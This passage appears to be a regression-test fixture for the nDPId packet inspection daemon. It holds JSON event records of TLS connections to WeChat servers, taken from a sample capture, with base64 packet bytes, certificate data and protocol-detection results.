wl+wBVnQYW87MuYbeDQX\/7oh2RFgB9wIwi2g70ZVNnHY+njLCHUlN\/DdNPwI+IjQj2VZlpD+tUmPKi5QR49fO+hlpAizXYG21QlRF59O0En0wUuwFVeP7s3nX1OTHWmuA49NFDJxmEeF6LiZ6kqDQViffw2WT4cirKDRyQB8G8QDOw49YTYyuGFrfXA4CueOWYJ+wUyWihOnDvMgCncoi557gF\/\/qVFW\/Ihqy4Gt8tuEQuj8IA0qtjCvLU8PyZgNmGrj1JRuaqFrr\/hKqLbFMLwCzfwmUnUezXM0P5GMRT1UAIfoSn8v+5SxCwgutg9wvEv5qxfCDTqBsXHIw0xbs1P\/EBTR9NsPE7JEa4RqrqGCsRlZhtI8JbKZ40y16nHhoFdrqD9ooXlRwpDst5Z1iYG+mZPWb7AMrIy8SF9a7JLDGi0qF4lVMu9vhE+rIruBhw\/IqPY++Fg4Q6RJ1GMqiKuzXaZdJ3K9sXvQYegVax8xZWeSCh+JpdmELYSD1v7\/0GTlBOxp2IqkiMqJXqyDV6XIy5sj7+RDvNegi\/WIIvwJIIzfiHdyVqGqGJIwep7L39xEGOTCl42UazACchASNMmjICAyAYUUW93i+yJjR46GRN0kanWx9jU+yOQN95BMOdsZGVq4jfYUxa648dyB3l05IgR+VR\/6doLb8A9iEbCsn2d6TBCdHW3Ul7Ybd7vmjSPOXpjuhvmEMFFtoT8AIhP9bMNBFIlCdkkgh7xeH\/aomjiYmb7E9rCM2XuFBYtrDidc1+uzNM3Kg41jYXwKtSfNBn5+2XZwK4Tb81HZr0v7VYQBOBVSUWZdcprOhcUOncqZ91rjFQyuJyk4KkkZIuhYCuC+FII09xjwblzeHgOBNeUtFveZ9qd8IoXCpSnzTgZKzGSId6tfyKzPA1XPMma74oOb0fwGLlgefPkUtYRBirG9UKIgbU"} +00750{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":373136,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiDs1AAEAGBYrAqAFny82XotNUAbuiFhVSX4uT4oAYAOURrgAAAQEICgAxHO9F0gXVFgMBAOkBAADlAwOwu7FYw\/oDOwKcTwOiOKv7YlMzDssvxBClvfkpiaCariDTV6G8D5hCzz2oy9LF\/fe7R79cAC6gdeTyhTkWLR5CJgAgurrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8uroAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIuroAHQAXABhaWgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":513,"source":"wechat.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":4,"flow_first_seen":1492167453010,"flow_last_seen":1492167454373,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54100,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":515,"source":"wechat.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1492167454457,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54101,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":457964,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA86XpAAEAGK8LAqAFny82XotNVAbue7PR+AAAAAKACchAqvwAAAgQFtAQCCAoAMR0EAAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":516,"source":"wechat.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1492167454458,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54102,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":458448,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8cSZAAEAGpBbAqAFny82XotNWAbsdO2wiAAAAAKACchA0zAAAAgQFtAQCCAoAMR0EAAAAAAEDAwc="} +00436{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":526589,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC4GJp3LzZeiwKgBZwG701Rfi5PhohYVUqASN8gB6QAAAgQFoAQCCApF0gb6ADEb8QEDAwc="} +00424{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":526614,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Ds5AAEAGBnfAqAFny82XotNUAbuiFhZAX4uT4oAQAOVmlwAAAQEICgAxHRVF0gXV"} +00424{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":731209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0lM9AAC4GkdXLzZeiwKgBZwG701Rfi5PiohYWQIAQAHhl0gAAAQEICkXSBy0AMRzv"} +02344{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":734223,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIlNBAAC4GjEDLzZeiwKgBZwG701Rfi5PiohYWQIAQAHhzUwAAAQEICkXSBy0AMRzvFgMDAF0CAABZAwOas640v324U5D9fJ5vO7sGpYs+zF1VgVdL3GKV1UbE9iAcYMK9E59njED1hK3WStu15DAHEEhJMQg30HN\/4iKe5cAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":521,"source":"wechat.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":8,"flow_first_seen":1492167453010,"flow_last_seen":1492167454734,"flow_tot_l4_data_len":1946,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":243,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54100,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":734253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Ds9AAEAGBnbAqAFny82XotNUAbuiFhZAX4uZdoAQAPtfYQAAAQEICgAxHUlF0gct"} +02701{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":734884,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMlNFAAC4GizvLzZeiwKgBZwG701Rfi5l2ohYWQIAYAHgsPgAAAQEICkXSBy0AMRzvi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQS9xwP2rDZ8v5OM1C2UYmY22LDhJiPHMc5Uf4rUFegirTO92nlAEQiJAyliKnEsGzPz5GPmR+IFlsOriqNRgMwbBgEBAHuXA3aefQWaU\/lOUm5S0I9RFQ4IbYueXISYP7j0LkkS3uf4X9H3UqrEeehoKZacOFxJS\/ZGfGnSnlbIbkSCfMgwKIVi53TnZXqlGtoN1y32YCQRxr2TtMKFOvFHXXYHB\/Ac+HtEjLyD4FoRkgOs1lfr41Qb2jvew6cmKv0uk0+RtOPB0FkS3htNWgCsaO2tW\/BS9cINcffQjRG9lcCTl5oVld+YC7M37eMRLsPXeSL3dPhoQ5G\/8Pc3l\/3ccU4EzbDQCJ3ro4cMItf5yxd3LsEJ9Uv4AzzgVPjFnvtov+syVv5gL6Ziwn9T7\/5eReUBJwcy2rO7pN8dQWv6aP7QfBUWAwMABA4AAAA="} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":523,"source":"wechat.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":10,"flow_first_seen":1492167453010,"flow_last_seen":1492167454734,"flow_tot_l4_data_len":3698,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":369,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54100,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":734930,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0DtBAAEAGBnXAqAFny82XotNUAbuiFhZAX4ugDoAQARVYrwAAAQEICgAxHUlF0gct"} +00599{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":736194,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyDtFAAEAGBfbAqAFny82XotNUAbuiFhZAX4ugDoAYARXDmgAAAQEICgAxHUpF0gctFgMDAEYQAABCQQSMckZo6cNJuKko7ASzNW8zM48WYISyypuNV8z\/optNU\/SHqo9BNV5u+mcIURe9QKYRxOU+O0Ixgamjl6HluJtcFAMDAAEBFgMDACgAAAAAAAAAABM7Fi0dg5nQ824BJcvpqk2VIb5P5kO5+onwest\/nLnu"} +00436{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":801978,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG701bGHEoeHTtsI6ASN8gRwgAAAgQFoAQCCApF0gdIADEdBAEDAwc="} +00424{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":531,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":802019,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cSdAAEAGpB3AqAFny82XotNWAbsdO2wjxhxKH4AQAOV3BwAAAQEICgAxHVpF0gdI"} +00750{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":802251,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEicShAAEAGoy7AqAFny82XotNWAbsdO2wjxhxKH4AYAOXnawAAAQEICgAxHVpF0gdIFgMBAOkBAADlAwNlRdxMBOhusYOhke3C4aoS6XOzHHv0fe3kJrWbx7\/QPCDTV6G8D5hCzz2oy9LF\/fe7R79cAC6gdeTyhTkWLR5CJgAgamrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB82toAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAISkoAHQAXABhKSgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":532,"source":"wechat.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":4,"flow_first_seen":1492167454458,"flow_last_seen":1492167454802,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54102,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":536,"source":"wechat.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1492167454818,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54103,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":818522,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8NuJAAEAG3lrAqAFny82XotNXAbvn9Cu8AAAAAKACchCqHQAAAgQFtAQCCAoAMR1eAAAAAAEDAwc="} +00437{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":836839,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC4GJp3LzZeiwKgBZwG701XgAvN\/nuz0f6ASN8ip9gAAAgQFoAQCCApFraHjADEdBAEDAwc="} +00425{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":836942,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA06XtAAEAGK8nAqAFny82XotNVAbue7PR\/4ALzgIAQAOUPMwAAAQEICgAxHWNFraHj"} +00752{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":837325,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEi6XxAAEAGKtrAqAFny82XotNVAbue7PR\/4ALzgIAYAOV+twAAAQEICgAxHWNFraHjFgMBAOkBAADlAwOV9frOGjvUn7m\/tE4bAyr+3UrlA9jYYKoC1I6VS\/9RdiDTV6G8D5hCzz2oy9LF\/fe7R79cAC6gdeTyhTkWLR5CJgAgmprMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8+voAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAI+voAHQAXABjKygABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":539,"source":"wechat.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":4,"flow_first_seen":1492167454457,"flow_last_seen":1492167454837,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54101,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00494{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":84079,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnlNNAAC4GkZ7LzZeiwKgBZwG701Rfi6AOohYWvoAYAHhGagAAAQEICkXSB4UAMR1KFAMDAAEBFgMDAChPKKgx5Bx38tIqf0DBGgIgyJvCPJP6ArmNr9ujESXGV0ovD6Kp4fqZ"} 